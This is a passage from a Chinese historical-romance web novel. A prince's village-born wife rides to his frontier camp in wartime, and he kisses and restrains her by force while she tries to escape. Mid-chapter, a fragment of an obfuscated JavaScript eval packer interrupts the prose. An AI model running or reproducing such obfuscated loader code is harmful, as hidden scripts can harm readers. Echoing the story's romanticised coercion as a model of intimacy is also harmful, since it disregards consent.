…… 姜若水想起旧事，她百思不得其解。 这么多年来，唯有她独得魏珩青睐，唯有她能与魏珩说上几句话，也唯有她能出入寒香院，进到魏珩的外书房。 她分明得魏珩另眼相待，为何临到嫁娶，他竟应下了那一门荒诞可笑的乡野婚事？ 祖父说了，这场婚事，应是赵王府为了麻痹南廷的权宜之策。 毕竟这两年，赵王府练兵囤粮，极有可能存有问鼎之心，此为篡国谋权的大计，他们得静观其变。 倘若他日魏珩称帝，势必需要煊赫妻族支应门庭，届时姜家再献女助势，不愁得不到魏珩的妻位。 至于如今的赵王妃沈青棠……不过一名乡野村妇，休妻下堂也好，杀人灭口也罢，魏珩要除掉她，堪称易如反掌。 魏珩不会蠢笨到真的放弃一支势力雄厚、门第显赫的妻族。 他终会回头，迎娶姜若水的。 姜若水一心嫁到赵王府，唯有她能消受得起那场泼天富贵。她视魏珩为掌中之物，都等了这么多年，没道理遇到一点小挫折就放弃…… - 腊月二十三，祭灶节，俗称“小年”。 一大早，沈青棠就被姜氏喊起来送灶神。 王府的下人们取饴糖、井水、料豆，拜祭灶神，再将那张贴在灶台保家宅平安的旧神像撕下，和草扎的兵马一同焚烧殆尽，也好借火光送灶神升天，请他在玉皇大帝面前多多美言几句。 送完灶神，便开始准备除夕诸事。 赵王府要扫尘、挂桃符、剪出喜鹊登梅、犀牛望月等等不同纹样的窗花，贴在暖阁库房的窗槛，也好祈福纳祥。 赵王府是贵地，家底又殷实，沈青棠不用伺候姜氏的时候，日子过得很舒心，还吃到了许多从前在匪寨里吃不到的糖糕汤品。 每到这种时候，沈青棠就想感激一下自己的“衣食父母”。 她取来纸笔，给魏珩写信—— “今日吃到了牡蛎煎饼，很香，比羊肉还好吃。说是长在海礁上，壳子与礁石黏连不分，得用匕首来撬开。只王爷不在府中，不然我还能命人多备上一碟。” 沈青棠想的倒明白，倘若魏珩居于王府，传膳两碟，他大抵不喜这种民间吃食，他不吃，全部都能进她的肚子。 “今晚送来一头六七斤重的小猪崽子，钳毛炙烤，再大卸八块，用来煨笋汤，滋味当真一绝。听说猪腰汤极为补身，王爷可以一试。” 沈青棠有心和魏珩交好，字虽然写得不好，但胜在言辞朴实殷切，不讨人嫌。 自从沈青棠借助信鹰送去的第一封信石沉大海后，她便不盼着魏珩会回信了。 但每回吹哨子召鹰，苍鹰爪子上的竹筒都空空如也，可见她送去的信，应是被人读了的。 边塞又起硝烟，这一次契丹王庭集结数万兵马，来势汹汹，兵临城下，就连远在檀州主城的沈青棠都听到了消息。 魏珩奉命守关，自是亲征沙场。 他在外迎敌，一连二十多日都没回府，沈青棠莫名不安。 这一夜，沈青棠又梦到了沈父死前的模样。 那是三年前隆冬，沈青棠刚涂完最后一笔九九消寒图上的梅花瓣儿，沈父便策马回到了匪寨。 沈青棠已是及笄的大姑娘，可看见父亲，还是像个稚嫩孩童那般蹦蹦跳跳跑过来，飞扑进沈父的怀抱。 北地多雪，沈父身上满是霜寒，他接住沈青棠，又怕冻着孩子，赶紧拉开大氅，将闺女裹到了暖呼呼的衣袍里头。 沈青棠依偎着父亲，全然不知，那一晚便是他们父女相见的最后一夜。 战场上的流箭贯穿了沈父的胸腔，他的时日无多，想在死前见沈青棠一面。 于是，沈父折断箭羽，披上厚衣，再顶风冒雪，策马回城，像小时候那般亲近女儿，将已经长成大姑娘的沈青棠抱到臂上，同她说话，哄她吃冬瓜糖。 “十五年过去了，青青转眼就成大姑娘了，从前小豆丁似的个子，牵你下山，临到半路，雪都埋到你胸口，若非你娘亲拍我一巴掌，我都不知道你险些被雪淹了。” 沈青棠无奈地抱怨：“分明是您做事粗心，要不是有阿娘在旁看顾，我能不能平安活到及笄都难说。” 沈父哈哈大笑，抱着闺女回屋。 沈父不在家的这些时日，沈青棠筹备了许多年货。 炮仗、烟火、两条腊羊腿，还有一坛香醇的农家酒。 沈青棠想着和沈父过一个温馨热闹的好年。 可隔天一大早，她推开房门喊沈父起身，一同下山赶集，伸手往被褥里一摸，却只碰到父亲早已失温的冰冷手掌。 …… 沈青棠自梦中惊醒，她的额角生汗，惶恐不安。 她觉得自己命不大好，亲近的家人好像都会相继离世。 先是娘亲，再是爹爹…… 沈青棠想到多日未曾归家的魏珩，眨了一下汗泞泞的眼睫，不免想：如今轮到魏珩了吗？ 沈青棠心里不安，她擅弓马，也曾一连跑马几日，奔赴外城去寻过沈父。 沈青棠想出府去找魏珩，又觉得私自离府，不合规矩……她贵为赵王妃，理应被困在这个宅院里，像其他世家贵女那般，伺候公婆，孝敬尊长，再老实等待魏珩回府。 可记挂自己的夫婿，想要外出寻他，实乃人之常情，又何必拘泥于规矩？事急从权，谁顾得上姜氏会怎么想？ 再说了，魏珩说过，他就是北道四州权势最显的人，有他罩着，她就是攀梯子摘星星月亮都行。 思及至此，沈青棠趿鞋下地，翻动箱笼，取出塞在最底下的牛角长弓、黑羽箭矢，以及一把用来剔肉剥皮的铜柄匕首。 沈青棠不喜欢等候一个人的感觉。 她害怕魏珩出事，她得去找他。 13.第十三章 第十三章 老实说，魏珩并不觉得他那日回府护妻，算什么偏袒与宠爱。 不过是尽了一点丈夫的本分。 他承诺过魏父，即便不喜沈青棠，日后会与她和离，成亲的期间，亦要以妻礼善待她。 可沈青棠好似认了真，她将魏珩当成了家人，会三不五时给他传信，告诉他那些旁人不耐烦看的日常琐碎。 许是隐隐觉出魏珩的冷淡，她的信件越写越少，偶尔只是提上一句：“还有五天就过年了。” 她以为魏珩会回府过年。 魏珩瞥了一眼纸上齐整规矩的墨字，咬开木塞，饮了一口外域酿的葡萄酒。 随后，他擦去沾满下颌的烈酒，随意揉捏纸张，将其团成一个球，抛入雪原上好不容易燃起的篝火中，焚毁殆尽。 - 魏珩本以为，之前的抗戎之战，足够震慑契丹王庭，令其不敢靠近周国边境半步，北道四州至少能有半年的太平日子可过。 哪知，此前“汉将白宏南领兵归降，叛变王庭，致使诸部遇袭”的事闹得太大，引起了契丹诸将的不满。 他们本就怨恨老可汗耶律辛偏袒转户的汉将，如今有了白宏南叛变的前车之鉴，更是痛骂那些美酒畜肉都养不熟的汉人，认为汉人都生出了异心，甚至带刀搜帐，当着汉将的面，屠戮那些汉奴泄愤。 倘若哪个汉将胆敢出手护住那些中原奴隶，便是暗通中原，生出反心，要与契丹王庭作对，合该被施以绞刑，砍掉脑袋。 汉人血性最重，即便归降也不能容忍蕃人滥杀同胞。 是以，十二月初，契丹王庭爆发了一场“奴隶战争”。 汉将为契丹王庭所不容，他们的处境艰难，且势单力薄，很快落得下风。 眼见着汉将兵马死伤无数，他们生出了向周国檀州边塞求援的心思，盼着魏珩念在同胞一场，能容他们逃入大周国境，或是能领兵策应。 何其可笑。 当初汉将见契丹势大，侵占大周两州失地，便生出了叛主背国的心思。 如今寄身敌营，处处受制，如履薄冰，又念起故国的好处。 魏家军觉得解气，不愿出手搭救，可魏珩却有自己的计策。 他故意放任汉蕃争斗，待汉将与契丹人结下死仇，再领兵策应，解救同胞。 如此一来，魏珩不但能斩断那些投敌汉将的退路，亦能收复一批兵马，用于守城护营，震慑北虏外敌。 契丹牙帐，一层层羊羔帐布上泼满了鲜红腥臭的艳血，翻倒的火盆倾了一地，黑烟翻涌，火光冲天。 帐中，炙烤的羊肉早已冷却，美酒浸透地毯，一旁倒着十多具手脚被缚、尸首异处的汉奴。 而无数单衣赤足的汉奴，踏着一地霜雪，持刃杀向兵甲齐整的高大胡兵。 只可惜，他们衣不蔽体食不果腹，瘦得皮包骨头，还没砍上几刀，便被悍勇的契丹骑兵一刀入肚，拖出流肠，抽搐两下，倒在了地上。 汉将的粮草不足，兵马贫瘠，自是无力抵抗那些越杀越勇的胡兵。 眼见着契丹骑兵要杀穿汉人兵马，老将徐增焦心不已，他盼着那位北道藩王魏珩能领兵驰援，可又明白自己此举有多么卑鄙无耻。 在大周国眼中，他是叛主的罪臣，他做了国贼汉.奸，可徐增倒戈契丹，实在是无奈之举。 多年前，契丹强占平、营两州，欲收复汉将兵马，可那时城中军将唯徐增马首是瞻，宁死不从。 为了降服徐增，老可汗耶律辛故意以两城汉奴的性命，胁迫徐增领兵归顺，如若不从，数万汉人的性命，便会折损他手。 谁都不想死。 为了求得一条生路，满城百姓朝着徐增下跪，求他抛弃尊严与血性，暂且与契丹可汗虚与委蛇，先保住阖城子民的性命。 徐增被逼无奈，只能对契丹可汗俯首称臣，接管两州失地的守城之职，竭力护住城中汉人。 《左传》有言：“非我族类，其心必异。” 即便徐增归降，不生异心，契丹可汗又怎会轻信于他？ 最终，他还是沦落到这等“人人喊打”的悲怆境地。 徐增悔恨不已，他愧于大周，愧于家将，倘若当初他战死沙场，兴许今日就不必受屠帐之辱…… 徐增厮杀三日，肩膀中箭，失血过多，已是步履踉跄，可他想护住麾下军将，带着弟兄们杀出一条血路，手上持刀的力道不敢松懈半分。 就在徐增力有不逮的时刻，他忽听远处的雪域高原，传来一阵阵长鸣的号角，震耳欲聋的战鼓声。 身旁的家将部曲望着那犹如神祇临世的军旗，望着旗帜上龙飞凤舞的“魏”字，一个个喜极而泣。 “是援军！是赵王的兵马！！” “赵王来救我们了！！” 魏家军嘹亮的嘶吼声，在荒芜辽阔的原野上回荡。 那些原本还杀得痛快的斡鲁朵骑军，一见成千上万的魏家兵马，顿时吓得瞠目结舌。 他们急忙列队布阵，放出求援鹰隼，请求王庭派兵来援！ 一只只鼓吻奋爪的海东青，刚抻开遒劲长翅，旋上天穹，便被一支支来势汹汹的黑羽锐箭贯穿腹肉，发出刺耳的凄唳，跌落雪地，成了一滩烂骨肉泥。 哗啦啦。 漫天都是淋下的畜肉血雨。 在一蓬蓬血雾间，一名身披狐裘甲胄的清隽男子，沐雪而出。 他的凛冽发尾随风高扬，目若淬火，手持弓箭，眯眸拉弓，以摧枯拉朽的凶悍力量，连珠射出三箭。 嗖！嗖！嗖！ 弓弦震颤，信鹰落下。 契丹骑兵无法将求援书信送出，又不想全军覆没，走投无路之际，又想着燃放狼烟，给王庭的兵马发送信号。 可不等那些契丹人取火燃烟，一把锋锐无匹的冷剑，就此抵上了他的肩头。 霍的一声巨响。 衣袍撕裂，筋骨尽碎。 敌将嫣红的鲜血泼了魏珩满脸，淋入他那双冷厉坚毅的眉眼，亦照出他眸中深藏的杀意与恶念。 一条胡兵的手臂，就此被魏珩砍落在地。 胡兵发出一声撕心裂肺的惨叫，手中燃料骨碌碌落地，看得一旁的汉将们连声呼好，堪称大快人心。 有魏珩领兵助阵，原本精疲力尽的汉将们又燃起生的希望。 他们的战意冲霄，喊杀震野，再度高举弯刀，奋勇杀向凶狠阴险的胡兵！ 夜半时分，鏖战结束。 徐增提着那把沾满肉屑的弯刀，跪到魏珩面前。 “罪臣徐增，多谢赵王殿下襄助……我自知昔日叛国之举，罪孽深重，不敢苟活，今日自刎谢罪，只求殿下大发善心，收容罪臣麾下这帮家臣部将，予他们一个改过自新的机会。” 徐增老泪纵横，将那把长刀抵上颈侧。 徐增深知麾下家将随着自己出生入死多年，唯他马首是瞻。 倘若他想让魏珩毫无芥蒂地收下这批兵马，唯有以死谢罪。 可魏珩心知，此时杀了徐增，虽说能收拢一支数千人的汉兵，到底留下一个“多疑残暴”的印象。不如网开一面，暂且饶过徐增性命。 不等徐增挽刀自刎，魏珩手中匕首，已然迅疾袭来，叮的一声，打落了他手中利刃。 徐增的弯刀落地，茫然望向居高临下的英武男子。 “你我身上流的都是汉家血脉，若汉将有难，北道四州自会开城迎人……”魏珩佯装惜才，叹息一声，“徐老将军，本王深知你此前为护一城汉奴，不惜担下叛国之名，今冤屈既雪，若你归国，本王自当扫榻相迎。” 徐增听得此等善言，心头俱震。 他的鼻腔酸涩难抑，眼底霎时涌起一层湿意，翕动两下唇瓣，对魏珩俯首称臣。 “罪臣蒙垢多年，早已无颜立于天地之间，不曾想殿下宽仁至此，竟雪罪臣多年沉冤，许罪臣归国……从今往后，我愿执鞭坠镫，为殿下效犬马之劳，赴汤蹈火，万死不辞。” 魏珩重重一拍徐增肩膀，“好，知错能改善莫大焉，徐老将军，北境四州的边防，日后便要靠你戍卫了。” 眼下魏珩欲南下征伐，正是用兵之际，与其与北道那些野心勃勃的世家大族结盟，倒不如拉拢一批迷途知返的汉将。 毕竟他们已被契丹视为叛徒，无路可退，无家可归，能依仗的君主，唯有魏珩了。 魏珩深知防人之心不可无，他不会重用这些招安的降将，但可以物尽其用，命他们戍边守城，抵御那一帮早已与他们结下血仇的契丹兵卫。 待魏珩南征凯旋，再慢慢整饬军政，翦除异己，以肃朝纲，还不必对这些汉将许下高官厚禄的奖赏，当真是一桩惠而不费的买卖。 - 檀州，官道。 沈青棠留下一封书信后，悄无声息地离开了赵王府。 她本就是乡野长大的女孩，又擅长弓马，略懂拳脚，自然畅通无阻。 沈青棠买了一匹耐力不错的农家黄马，又准备了燃火的草绒、煮水的陶碗、路上吃的馕饼肉干、马驹吃的草料，一些旧衣，以及过年必吃的枣泥蔗糖年糕。 为了骑马方便，沈青棠抛弃那些宽袖袄裙，换上一身厚重到可以铺地充当被褥的兔毛窄袖胡袍。 她没时间绾那些繁复的发髻，直接拧了几条麻花辫，又用绯色的丝绦束好，披在肩上。 沈青棠翻身上马，抚着浓密的马鬃，与胯.下的骏马絮语。 “马兄，我知道，隆冬天里跑马，实在太伤马腿了，可我待你也不薄啊，还给你的四条蹄子裹了一层棉布呢！要知道我从前家贫，自己都舍不得买棉花制袄，暴富乍贵，给你穿金戴银，你也算是鸡犬升天了。马兄，我的好话说尽了，你可不能半路撂担子，这一遭随我寻到夫君，回城后，必有重赏！”</ p>沈青棠一直觉得万物有灵，马也能听懂人语，她循循善诱，马兄势必会倾力配合。 就此，一人一马，哒哒上了路。 沈青棠熟悉关隘边塞，从前还在草原上与那些胡商互市，用布帛、陶器，换过厚实的兽皮、肉干。 如今骑马出关，如鱼得水，在雪浪山径间迎风驰骋，浑身都充斥着说不出的畅快与舒爽。 在这一刻，沈青棠忽然发现，她其实只想和魏珩结为夫妇，她不想当那个被囚在高门大院里的赵王妃。 隆冬凛冽，夜雾浓密，如此顶风冒雪前行，不到两个时辰，手指就冻得通红僵硬。 沈青棠穿戴好鹿皮制的手套，继续持缰上路。 约莫清晨时分，沈青棠顺利出了关隘。 她朝着浩渺辽阔的夜空吹响鹰哨，等那只专为沈青棠传讯的信鹰旋空而来。 熟悉的振翅声，钻入耳朵。 沈青棠取出一把鹿肉干，喂给苍鹰，再趁此机会用麻绳缠住鹰爪，狡黠一笑：“鹰兄，你既能往返送信，定知王爷的营地所在。劳你奔波一场，带我去寻一下我的夫君。” 苍鹰头一次被人这般束缚，急得不住扑腾翅膀，抖了沈青棠一头软羽。 偏生那根麻绳粗粝牢固，挣脱不开，苍鹰认命，只能低空翱翔，放风筝似的领着沈青棠往远处的戈壁荒原行去。 …… 关外，营寨。 战事暂歇，魏珩为擒契丹悍将，腰上生受一箭。 好在箭矢半道上被魏珩以剑劈裂，没有贯穿骨肉，伤及脏器，只需静养几日，伤口便能愈合。 魏珩喝过温好的烈酒，又烫过匕首，忍痛硬生生剜下腐肉，再撒药包扎，裹好衣袍。 不等他咽下熬好的止血汤药，帐外便有哨兵急匆匆来报：“王、王爷，有一名女子，手持王妃金印入内，说是前来营寨探望您的……” 闻言，魏珩那双沉肃冷峻的眉眼，霎时浮起一重惊疑，他并不认为来的人会是那个娇软好欺的沈青棠，许是有细作冒充赵王妃，欲行不轨之事。 思及至此，魏珩的脸色骤冷，周身漫开威势骇人的杀意，他穿好兽氅外袍，信手取下一把削铁如泥的长剑，随着兵卒阔步出帐。 帐外，风雪渐大，雪绒铺地，不过一刻钟就落人一头白发。 魏珩的杀心渐盛，持刃逼近营门。 没等他走近，一袭娇小活泼的身影，倏地从远处飞奔而来，猝不及防扑进了魏珩的怀抱。 熟稔的甜馨桃息随着寒风席卷而来，冷不丁漫入魏珩鼻尖。 魏珩指骨一动，松开手中长剑。 他垂眸看去，宽阔胸膛前埋着一颗覆漫雪絮的毛绒脑袋。 女孩蜷紧两条冻僵的纤臂，依恋地蹭了蹭他。 继而，她抬起头，朝魏珩笑得见牙不见眼。 女孩樱唇柳眉，皓白贝齿。一头乌发凌乱，几乎要打结，脸上的雪泥倒是洗干净了，可衣袍却沾满污泥，像是在哪一丘土堆撒泼打滚的肮脏小狗。 “王爷！” 竟真的是沈青棠。 饶是见多识广的魏珩，此时看着脏兮兮好似小乞丐的沈青棠，脸上也难掩错愕。 他不由皱眉，拎起风尘仆仆的女孩，斥骂：“胡闹！前线危险，你不在王府待着，为何要奔赴战场？！” 再一看远处驮满包袱的黄马，被麻绳拴住的鹰隼，挂满马鞍的弓弩箭囊，他终于明白，沈青棠一介弱质女流，是如何翻山越岭，来到此地。 沈青棠挨了骂也不怕，她摸了摸鼻尖，朝他傻笑：“我看王爷在外征战，不能回府过年，我担心你出事，就想来营地看看你是否平安。王爷别担心我，我少时也上前线寻过父亲，出关的路我门儿清，真的出不了事。对了王爷，我还带了红糖年糕给你吃……” 沈青棠松开魏珩，想着献点殷勤，好哄他消消气。 她欢快地翻找随身的包袱，却怎么都找不到那几条冻得硬邦邦的红糖年糕。 “去哪儿了？莫不是被我掉到路上了？”沈青棠又惊讶又沮丧，声音越来越低。 她犹不死心，还想抖开包袱翻找。 刚伸出手，那一截润若藕段的腕骨，就被魏珩擒到了手中。 “王爷？”沈青棠呆呆抬头，望着眼前墨眸渐深的男人。 魏珩寒着脸：“不过是几条糖糕，不必找了。” 沈青棠哦了一声，又遗憾叹气，小声解释：“可糖糕……真的很好吃，我和爹爹每年过年都会吃的。” 魏珩垂下浓长雪睫，静静看着满心满眼都是他的沈青棠。 魏珩看着不顾危险外出寻夫，只为给他送两条年节糖糕的沈青棠。 他看着她跋山涉水赶来，鼻尖冻得通红，唇瓣也因缺水而干裂…… 竟有那么一瞬，魏珩也会想：倘若有人胆敢欺瞒、辜负这样的傻姑娘……他一定会遭天谴的。 14.第十四章 第十四章 赵王妃千里追夫的事，很快传遍了军营里外。 魏家军不是没见过高阶军将携带女眷随军，只他们没见过魏珩亲近女子，头一次看到小王爷身边有女人，还怪新鲜的。 营帐里的灶丁围拢一块儿闲磕牙。 “俺听说赵王妃是乡下人，生得咋样？比你家那个翠妞好看？” “你再说翠妞一句，我跟你急眼！不过老实说，赵王妃生得的确貌美，不像小刘说的那般丑啊……” 翠妞是孟刚的未婚妻，前两天返乡刚定下的婚事，想着再攒一年兵饷，两人就成亲。 一旁添柴的火头军焦庆闻言撇撇嘴：“嗐，你听他瞎说！之前谁传出来的，说是王爷新婚夜就赶回军营务公，定是被他媳妇吓的拔腿就跑，我看不见得，保不准是王爷担心自己沉溺美色，贻误军情，这才舍下娇妻……” “住口！王爷的家眷也是尔等能妄议的？！”老将军江阳峰不知何时站在了几人身后，陡然爆开的一声怒斥，吓了众人一跳。 江阳峰是军中老将，军威深重，此前随着魏父出生入死，又照看魏珩长大，被魏珩恭敬唤一声“江叔”，军中里外敬重老将，自然无人胆敢冒犯他。 此时听江阳峰一通申饬，那些资历尚浅的火头军一个个吓得鹌鹑似的站立，全然不敢动弹。 江阳峰拧了拧眉心：“孟刚，焦庆，滚去外头，绕营跑三十圈！再有下次，军棍伺候！” “是！” “还不快去？！” 焦庆看了一眼堆垒的灶台，“江老将军，咱们的水还没煮好呢，王爷和王妃急着用……” 江阳峰叹一口气：“罢了，此为大事，尔等先煮水送去主帐，再慢慢领罚！” 江阳峰想到今晚跋山涉水来到军营寻夫的沈青棠，不免记起从前共事过的沈父。 他知沈家人性善忠烈，虽是庶民百姓，却心怀天下，这般忠义国士教养出的女儿，自然是德容兼备，品貌双全。 魏父与江阳峰默许沈氏女入局，何尝没有算计沈家人赤忱善心的意思在内？ 他们知道沈家都是好人，决不会背叛魏家军，这才允准魏珩聘娶沈氏女为妻。 可江阳峰看着沈青棠不顾安危，一心为魏珩筹谋，隐约意识到，小姑娘怕是对魏珩动了真心，竟也难得生出一丝恻隐之心…… 倘若有朝一日，她知道枕边丈夫的温存全是虚情假意。 倘若有朝一日，她知道这门高嫁的锦绣良缘，始于欺瞒，不过是上位者的博弈。 倘若有朝一日，她知道自己终会被魏珩抛弃……沈青棠该如何自处？ 饶是心硬如江阳峰，居然也开始可怜这枚无辜入局的棋子，觉出一丝亏欠与不忍心。 - 北地的冬天好冷。 天穹好似被捅出一个黑漆漆的大窟窿，大团大团的鹅毛雪絮往下抖落。 不过半个时辰，那些羊皮搭建的帐篷外头，便覆满了一层厚厚实实的银霜雪絮。 半个时辰后，灶丁将水送到主帐，灌满浴桶，供沈青棠沐浴。 因是在外行军，煮水不便，沈青棠不敢辜负火头军的好意，连忙脱衣入水，趁着水温尚沸，兑开雪水，擦洗身子。 有屏风作掩，沈青棠拆开发辫，解开领口的盘扣。 她赤溜溜地浸到水里，用那些澡豆、香露，揉搓头发、四肢，将一桶干净清澈的水，洗成了乌糟糟的泥水。 沈青棠打理干净，又拿出一件夜里入睡的寝裙穿上。 她回头看了一眼脏污的洗澡水，清水早已污浊。 到底是女孩脸皮薄，沈青棠不想让灶丁入帐倒水，只好披上厚重的外袍，一瓢一瓢舀水，将那些脏水泼到了帐外。 等沈青棠回到主帐的时候，魏珩已安排好军务琐事，落座小榻。 他没有在意沈青棠，自顾自解开衣襟，给方才渗血的伤口重新上药。 青铜行灯被卷入门帘的风雪吹动，燃着一颤一颤的幽微烛光。 暖煦的光芒如水一般，泼洒至魏珩那张宛若斧凿刀削的侧脸，将男人那双本就昳丽秾艳的眉眼，晕染得更为深邃，平添几分玉质金相。 在外行军，刀劈剑砍，受伤实乃常事。 魏珩早就习以为常，他上药的手法利落粗糙，甚至带点潦草，半点不将这点小伤当回事。 可沈青棠却反应过来，她方才抱人没轻没重，许是一时不慎，将魏珩腰上的伤口狰开了。 她心生愧怍，解开那一件沾雪的外袍，仅着一身单薄的寝裙，轻轻柔柔俯跪于魏珩腰间。 她固执地拿走魏珩手中药瓶，对他道：“王爷，我来帮你上药。” 魏珩手中一空，他静默一瞬，没有拒绝。 他任沈青棠伏于腰腹，小心翼翼帮他涂抹药膏。 沈青棠早把自己清洗干净了，不再是外头流浪多日的脏猫。 女孩的乌发油润如缎，烛灯照出她头顶光旋，那些如瀑墨发披在削瘦单薄的雪背，将她衬得更纤细脆弱，好似一只被囚入狼帐的孱弱小鸟。 沈青棠就这般垂着濯水荷茎细脖，怯怯地拱入魏珩怀中。 她低头搽药，后颈那颗嶙峋骨珠鼓起，好似一枚鲜嫩多汁的青桃。随着她一起一伏的呼吸，在凝脂一般的雪肤底下震颤。 若非知道沈青棠年纪尚幼，不知如何风情万种地引诱男人。魏珩还当她是存了不良居心，一心要借“上药”一事，与他欢好。 沈青棠乖乖雌伏于他膝上的乖巧模样，实在勾得人心痒，诱惑旁人行恶。 令人想探指，缓慢挑开她披肩的半透寝衣。 继而肆无忌惮地摩.挲她那玉色软肤，捏握她纤细如竹的修长脖颈，把持她颈下泊泊流淌的血脉，掌控她最为不堪一击的软肋。 魏珩不是一个很会亏待自己的人，相反他倨傲性狂，随心所欲。 是沈青棠故意诱他。 即便伎俩拙劣，他也愿意赏她一点薄面，顺从她的心意，令她餍足。 自此，魏珩的琳琅玉指，轻轻抵上沈青棠的后颈血肉，故意压住了她微微凸起的那一颗颈骨。 肌肤相贴的感受太过清晰。 沈青棠很快僵住了肩膀。 男人的指肚生着薄茧，碾在她那易感的颈子上，带着点撩人的瘙痒，以及毛骨悚然的挑逗。 魏珩故意推磨手指。 他似是在把玩沈青棠，竟慢条斯理地捻动她的后颈…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 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明明姿态亲昵，动作亲密，可沈青棠从魏珩那双沉寂墨眸里看不到一丝一毫私欲，仿佛他这般玩弄唇舌，不过是故意欺辱沈青棠乖顺。 魏珩的白皙指尖，越探越深。 他故意压着她绯红色的舌搅弄，强硬地催促她开口说话。 沈青棠艰难地说：“我们是夫妻，我待你好……是应该的。” 别无所图么？ 魏珩的手指停住。 他静静看了沈青棠一眼。 果真是个傻子。 许是沈青棠的话恰好取悦到魏珩，他没再欺负她的唇瓣。 只是，手指捻过红舌的触感犹在。 潮润、湿濡，极其柔软。 魏珩从未亲近过女子，此前行房一次，也不过是沈青棠虔心恳求，他身为夫君，自该满足她。 最出格恶劣的事都做过了，这等细枝末节的小事又何足挂齿。 魏珩陡然加重虎口的力道，半握住沈青棠的后颈，将她摁得更近。 随后，他半眯起黑涔涔的凤眸，缓慢低下头，含.吮住沈青棠的檀唇……亲自尝了尝方才亵玩之物。 15.第十五章 第十五章 沈青棠从未与魏珩这般近过。 男人那几根手指，擒在她莹润匀称的后颈。 他修长的指尖朝下抚摸，没入深不见底的衣领，轻易就能探及脊骨，如同拨水一般，搅得沈青棠心池荡漾。 而沈青棠傻愣愣闭着眼，任魏珩近在咫尺的热息，尽数扑在她圆润的唇珠、渗汗的鼻尖，如同密密匝匝的蛛网，连她的呼吸一并拢住。 她的柔软樱唇被魏珩凶狠地咬着，散开细密酸麻的刺痛。 沈青棠心里委屈，可又不敢睁开眼，生怕这般怯弱的模样，会诱起魏珩某种不知名的邪心。 魏珩的确生出了一些古怪的意动，那双原本凉薄黑沉的墨眸，渐渐变得浑浊含.欲，甚至勃.发出某种近似杀意的肆虐欲。 他的宽大手掌，沿着沈青棠那一节节嶙峋脊椎，一路往下逡巡，重重地掐上一把。 他的长指，如同陷入柔滑的醍醐乳酪，连指缝都被玉雪脂膏裹满，残留的触感温热而绵长。 沈青棠莫名被人揉掐，说不出是什么感觉，只觉心惊胆战，眼睛闭得更紧了。 她的耳畔仅剩下亲吻时，发出的黏.腻混沌的水声。 而魏珩的吻越来越深入，侵.略感也愈发强烈。 在这般唇齿交织间，沈青棠被迫感受他轮廓冷硬的唇峰，以及同样湿.软滚烫的舌。 沈青棠从未与人亲吻过，她的吻技拙劣，呆头鹅一般怔在原地，连回应都不会。 可这般生涩的姿态，反倒让魏珩感到受用。 他愿意施舍一点耐心，好好调教自家小妻。 即便他也是初次这般触碰女子，与人唇舌纠缠、口涎交渡，毫无间隙地耳鬓厮磨，肆无忌惮地索取。 沈青棠无措地承受着魏珩凶狠的亲吻。 她任他吮.咽下那些不断泌出的甘甜口津。 任他用尖利的牙齿，细细磨着她的软唇。 任他亲到深处，长驱直入。 再得寸进尺地搜刮她唇腔里外的气息，拨弄她舌下青筋，催出她满脸可怜兮兮的眼泪。 沈青棠没有经历过这样的情.事。 她从来不知，一个亲吻也威力巨大，竟能让她腰.窝酥麻，膝盖发酸，生出不可抑制的逃心。 沈青棠的破碎低吟，自那一条窄窄的喉管满溢而出。 她实在受不了了。 可沈青棠刚要屈膝爬起，魏珩便抬起冷冽眼风，毫不留情地扫过她一掌可控的莹白足踝。 随之，男人顺势握住她那一截纤细的脚踝，猛地将她拉到怀中。 沈青棠猝然遇袭，脚上像是挂了一只沉重的镣铐。 她的自由受限，肩膀下意识战栗，一直后退，试图逃跑。 可沈青棠力气太小，敌不过多年来南征北战的魁梧武将。 魏珩不过蜷起五指，便能轻而易举压制沈青棠，化解她那堪称蚍蜉撼树的细微力道。 魏珩恶劣地将她摁到铺好兔毛毡毯的地上。 自此，沈青棠又被魏珩强行压到了怀里。 她没能逃出魏珩的魔掌，反倒被人顺势拖到身下，掩入厚重的衣袍之中。 魏珩的吻再次落下。 随之而来的，还有那一缕足以将人溺亡的沉重雪松香气。 气息清凌凌的，寒津津的，冷如山间冰棱，冻得沈青棠一个激灵。 魏珩低头的瞬间，如缎似墨的乌发垂落，伏于人面，缠着沈青棠微微发红的耳尖，一路蛇行。 许是魏珩发尾未干，凝着澄澈的水珠，拂过人脸时，甚至残留下一痕粘稠濡润的湿意。 男人那一具健硕修长的身子，亦拢住娇小的沈青棠，好似一口逼仄窒息的囚笼，将她整个人遮掩得严丝合缝。 沈青棠被人压着亲吻，舔咽口中丰沛的花汁。 她不懂换气，闷到几乎要憋得晕过去。 好似要被魏珩挖空了五脏六腑，脑子空空，连同魂魄也要从灵窍钻出，被他尽数吸进肚中。 许是沈青棠的反骨被魏珩折断，她不再抵抗，魏珩的理智回归，动作缓慢下来，那股子将她生吞活剥的恶欲，也渐渐隐忍强抑下去。 魏珩徐徐吞咽她、蚕食她。 这般温柔的行径，竟令沈青棠生出一种被爱的错觉。 沈青棠的眼眸浮起一层朦胧泪雾，她的双手交叠在一块儿，被男人那只骨骼分明的手，压至发顶。 她意乱情迷，四肢百骸渐渐涌出了热，因过度的舔.咬，唇瓣变得色若涂丹，红到触目惊心。 沈青棠下意识屈膝挣扎。 膝盖不慎朝前一挪，竟不偏不倚，擦碰到魏珩的腰间。 那一处，紧绷如顽石。 沈青棠瞬间清醒过来。 而魏珩冷不丁遇刺，劲韧的窄腰一紧，眸色渐深，“王妃，你倒是比我想的还要贪。只可惜为夫伤重，医工专程叮嘱近日不可行房，你的念想怕是要落空了……” “我、我没有……”闻言，沈青棠窘迫地避开眼，不敢说话，怕越描越乱。 但好在，魏珩良心未泯，他尝过沈青棠的味道，终是松开了自己的猎物。 沈青棠得以逃出生天，她的心跳快若擂鼓，心有余悸地偷瞟魏珩一眼。 她竟觉得自家夫君失了平日惯有的温柔，仿佛方才那个差点要将她拆吃入腹的阴恶男人，才是她真正的丈夫。 沈青棠逃过一劫，她扯好早已滑到臂弯、露出大片雪白皮肤的寝裙，环顾四周，寻找入睡的床榻。 “王爷，你夜里都在何处落榻？” 她和魏珩是夫妻，自然该睡在一起。 